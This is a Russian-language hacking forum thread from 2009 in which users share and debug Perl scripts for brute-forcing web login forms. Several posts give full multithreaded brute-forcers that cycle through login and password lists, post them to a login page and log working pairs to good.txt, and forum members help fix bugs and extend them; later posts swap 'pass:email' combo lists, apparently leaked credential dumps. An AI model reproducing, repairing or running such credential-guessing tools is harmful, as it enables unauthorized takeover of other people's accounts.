HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > ПРОГРАММИРОВАНИЕ > PHP
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 04.06.2009, 12:35
krypt3r
Познавший АНТИЧАТ
Регистрация: 27.04.2007
Сообщений: 1,044
Провел на форуме:
3660186

Репутация: 905


По умолчанию

yaoleg, так попробуйте заюзать
Код:
open my $FL, '<', 'login.txt' or die "No login list: $!\n"; # Логины в login.txt
open my $FP, '<'. 'pass.txt' or die "No password list: $! \n";  # Пароли в  pass.txt
my @login = <$FL>;
my @pass = <$FP>;
close $FP;
close $FL;

#my $login_username = 'login'; # ЛОГИН!
foreach my $login_username (@login) {
  chomp $login_username;
  my $i = 0;
  my @thr;
  my $ua = LWP::UserAgent->new;
  my $cookies = HTTP::Cookies->new (agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)');
  $ua->cookie_jar ($cookies);
  for my $nowpass (@pass) {
    chomp $nowpass;
    if ($thr[$i]) {
      threads->object ($thr[$i]->tid())->join;
    }
    $thr[$i] = threads->create (\&brute, $login_username, $nowpass);

    $i = ($i + 1) % 5; #Количество потоков  (5)
  }
}
 
Ответить с цитированием

  #2  
Старый 04.06.2009, 19:31
yaoleg
Новичок
Регистрация: 23.03.2009
Сообщений: 8
Провел на форуме:
66445

Репутация: 0
Unhappy

Извините, но у меня не работает! Что делаю не так?
Код:
#!/usr/bin/perl

use strict;
use LWP::UserAgent;
use HTTP::Cookies;
use Getopt::Std;
use threads;
print "\n Starting brute...\n";

open my $FL, '<', 'login.txt' or die "No login list: $!\n"; # Логины в login.txt
open my $FP, '<'. 'pass.txt' or die "No password list: $! \n";  # Пароли в  pass.txt
my @login = <$FL>;
my @pass = <$FP>;
close $FP;
close $FL;

#my $login_username = 'login'; # ЛОГИН!
foreach my $login_username (@login) {
  chomp $login_username;
  my $i = 0;
  my @thr;
  my $ua = LWP::UserAgent->new;
  my $cookies = HTTP::Cookies->new (agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)');
  $ua->cookie_jar ($cookies);
  for my $nowpass (@pass) {
    chomp $nowpass;
    if ($thr[$i]) {
      threads->object ($thr[$i]->tid())->join;
    }
    $thr[$i] = threads->create (\&brute, $login_username, $nowpass);

    $i = ($i + 1) % 5; #Количество потоков  (5)
  }
}
}

foreach(threads->list) { $_->join; }

sub brute()
{

$ua->cookie_jar($cookies);
my $req = $ua->post('http://*.php', {
'st.posted'=>'set',
'username'=>$_[0],
'password'=>$_[1],
'login'=>'%C2%F5%EE%E4'
})->as_string;

my $result = $req =~/302 Found/;
if ($result)
{
print "[+]OK $_[0]:$_[1]\n";
open (G , '>>good.txt');
print G $_[0].":".$_[1]."\n";
close G;
print "PASSWORD FOUND!!!!!\n";
}
else
{
open (G , '>>bad.txt');
print G $login_username."\n";
close G;
print "[-] BAD $_[1]\n";

}}
 
Ответить с цитированием

  #3  
Старый 04.06.2009, 21:28
krypt3r
Познавший АНТИЧАТ
Регистрация: 27.04.2007
Сообщений: 1,044
Провел на форуме:
3660186

Репутация: 905


По умолчанию

Что значит не работает? Если выводит ошибку, то дайте ее нам. Еще желательно заюзать use warnings; после use strict;
Есть у меня подозрение, что с фигурными скобками у вас не все ладно
 
Ответить с цитированием

  #4  
Старый 04.06.2009, 22:48
yaoleg
Новичок
Регистрация: 23.03.2009
Сообщений: 8
Провел на форуме:
66445

Репутация: 0
По умолчанию

Ошибка такая: Missing right curly or square bracket at script.pl line 67, at end of line syntax error at script.pl line 67, at EOF Execution of script.pl aborted due to compilation errors.
 
Ответить с цитированием

  #5  
Старый 04.06.2009, 22:51
krypt3r
Познавший АНТИЧАТ
Регистрация: 27.04.2007
Сообщений: 1,044
Провел на форуме:
3660186

Репутация: 905


По умолчанию

Я угадал =) проверьте кол-во фигурных скобок и правильность их расмещения. По-моему, вот здесь
Код:
    $thr[$i] = threads->create (\&brute, $login_username, $nowpass);

    $i = ($i + 1) % 5; #Количество потоков  (5)
  }
}
}
последняя лишняя
 
Ответить с цитированием

  #6  
Старый 04.06.2009, 23:08
yaoleg
Новичок
Регистрация: 23.03.2009
Сообщений: 8
Провел на форуме:
66445

Репутация: 0
По умолчанию

Эта ошибка после 5-го пароля!
Starting brute...
[-] BAD qwerty
[-] BAD 123456
[-] BAD 555555
[-] BAD 111111
[-] BAD 1234
Can`t call method "join" on an undefined value at script.pl line 29.
 
Ответить с цитированием

  #7  
Старый 11.06.2009, 18:36
KNEII
Новичок
Регистрация: 07.06.2009
Сообщений: 1
Провел на форуме:
23900

Репутация: 0
По умолчанию

Имеется скрипт, хотелось бы сделать так чтоб пароли брались также как и логины из файла txt. Сам пытался сделать но не получается.

Сам скрипт:
Код:
#! /usr/bin/perl -w
use IO::Socket;
use threads;
use threads::shared;
use Fcntl ':flock';

$pwd	 =  shift || '123456'    	; #Пароль
$threads =  shift || 20		        ; #Кол-во потоков
$ml      =  shift || 'acc.txt'		; #Список акков
$fname   = 'good.txt'      		; #Валидные


my $i : shared = 0;
my @trl;
$| =1;

print "Loading...\n";

open (ACS, "<$ml") || die("Could not open acc list file!");
my @acc : shared = <ACS>;
chomp(@acc);
close(ACS);

$size = scalar @acc;
print  "Loaded: ".$size." accs.\n";

for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);}
for(@trl) { $_->join; }

sub Brut
{
	while(@acc)
	{	
		{lock(@acc);$acc = shift @acc;}
		my $sock = sock();
		
		my $data =
		"-----------------------------18847261322183\n".
		"Content-Disposition: form-data; name=\"username\"\n\n".
		"$acc\n".
		"-----------------------------18847261322183\n".
		"Content-Disposition: form-data; name=\"password\"\n\n".
		"$pwd\n".
		"-----------------------------18847261322183\n".
		"Content-Disposition: form-data; name=\"login\"\n\n".
		"Submit\n".
		"-----------------------------18847261322183--\n\n";
		
		my $re = 
		"POST HTTP/1.1\n".
		"Host: \n".
		"User-Agent: Mozilla/4.0\n".
		"Connection: close\n".
		"Referer: \n".
		"Content-Type: multipart/form-data; boundary=---------------------------18847261322183\n".
		"Content-Length: ".length($data)."\n\n".$data;
	
		print $sock $re; 
		read($sock,my $answ,10000);
		
		if($answ =~ /cdb_auth/)
			{
				print "[+] $acc\n";
				open(FILE, ">>$fname") || die("Could not open $fname\n");
				flock(FILE, LOCK_EX);
				print FILE "$acc:$pwd\n";
				flock(FILE, LOCK_UN);
				close(FILE);
			}
		{lock($i);$i++;}
		print "< ".sprintf("%.2f", ($i/$size)*100)."% >\r";
		close($sock);
	}
}

sub sock {
my $sock;
do {
	$sock = new IO::Socket::INET 
		(
		PeerAddr => '',
   		PeerPort => 80, 
   		PeerProto => 'tcp', 
   		TimeOut => 10
		) or print "Can't connect\n";
	} while (!$sock);
return $sock;
}
Точто сам сделал:
Код:
$pwd	 =  shift || 'pass.txt'    	; #Пароль
$threads =  shift || 20		        ; #Кол-во потоков
$ml      =  shift || 'acc.txt'		; #Список акков
$fname   = 'good.txt'      		; #Валидные


my $i : shared = 0;
my @trl;
$| =1;

print "Loading...\n";

open (ACS, "<$ml") || die("Could not open acc list file!");
open (PWD, "<$pwd") || die("Could not open pass list file!");
my @acc : shared = <ACS>;
my @pwd : shared = <PWD>;
chomp(@acc);
chomp(@pwd);
close(ACS);
close(PWD);


$size = scalar @acc;
$size2 = scalar @pwd;
print  "Loaded: ".$size." accs.\n";
print  "Loaded: ".$size2." pwds.\n";

for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);}
for(@trl) { $_->join; }
Дальше не могу сообразить что делать.
 
Ответить с цитированием

  #8  
Старый 15.06.2009, 12:40
kopele
Новичок
Регистрация: 19.11.2008
Сообщений: 10
Провел на форуме:
123389

Репутация: 6
По умолчанию

Script is edit now work.

Reverse Place From Pass:Email To Email:Pass
---------------------------------------
Код:
#!/usr/bin/perl  -w

print "Select Option:\n\n";
print "[1]: Reverse Place [ Pass:Email To Email:Pass ]\n\n";
print "Option:";

$option = <STDIN>;
chomp($option);
print "Specify  Input  File: ";
$input_filename = <STDIN>;
chomp($input_filename);
open(INFILE, $input_filename);
print "Specify  Output File: ";
$output_filename = <STDIN>;
chomp($output_filename);
open(OUTFILE, '>' . $output_filename);
if ($option == 1) {
while ($line = <INFILE>) {
$_ = $line;
/(.+?):(.+?)\n/;
$a = $2;
$b = $1;
$a =~ s/^\s+//;
$a =~ s/\s+$//;
$b =~ s/^\s+//;
$b =~ s/\s+$//;
print OUTFILE $a, ':', $b, "\n"; 
}
}
Special tanks to Kaimi and int3

Последний раз редактировалось kopele; 27.06.2009 в 16:53..
 
Ответить с цитированием

  #9  
Старый 15.06.2009, 13:05
Kaimi
Познавший АНТИЧАТ
Регистрация: 23.08.2007
Сообщений: 1,237
Провел на форуме:
18127311

Репутация: 1676


Отправить сообщение для Kaimi с помощью ICQ
По умолчанию

Цитата:
Pleace help to finish this script.
Reverse Place From Pass:Email To Email:Pass
Код:
#!/usr/bin/perl -w

print<<HERE;
Select Option:
[1]: Reverse Place [ Pass:Email To Email:Pass ]
HERE

chomp(my $opt = <>);

if($opt == 1)
	{
	 print "Specify input file: ";
	 chomp(my $in = <>);
	 print "Specify output file: ";
	 chomp(my $out = <>);
	 
	 open A, "<", $in || die $in."-".$!;
	 open B, ">>", $out || die $out."-".$!;
	 
	 while(<A>)
		{
		 $_ =~ /(.+?):(.+?)\n/;
		 print B $2.":".$1."\n" if defined $1 && defined $2;
		}
	 
	 close A;
	 close B;
	}
else
	{
	 print "No option has been specified\n";
	}
 
Ответить с цитированием

  #10  
Старый 15.06.2009, 13:27
kopele
Новичок
Регистрация: 19.11.2008
Сообщений: 10
Провел на форуме:
123389

Репутация: 6
По умолчанию

Thanks Kaimi,
can some 1 fix my script

Последний раз редактировалось kopele; 15.06.2009 в 18:58..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[c/c++] Новичкам: задаем вопросы _Great_ С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby 5421 21.04.2026 07:37
[php] Новичкам: задаем вопросы _Great_ PHP 16396 17.06.2010 21:19
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ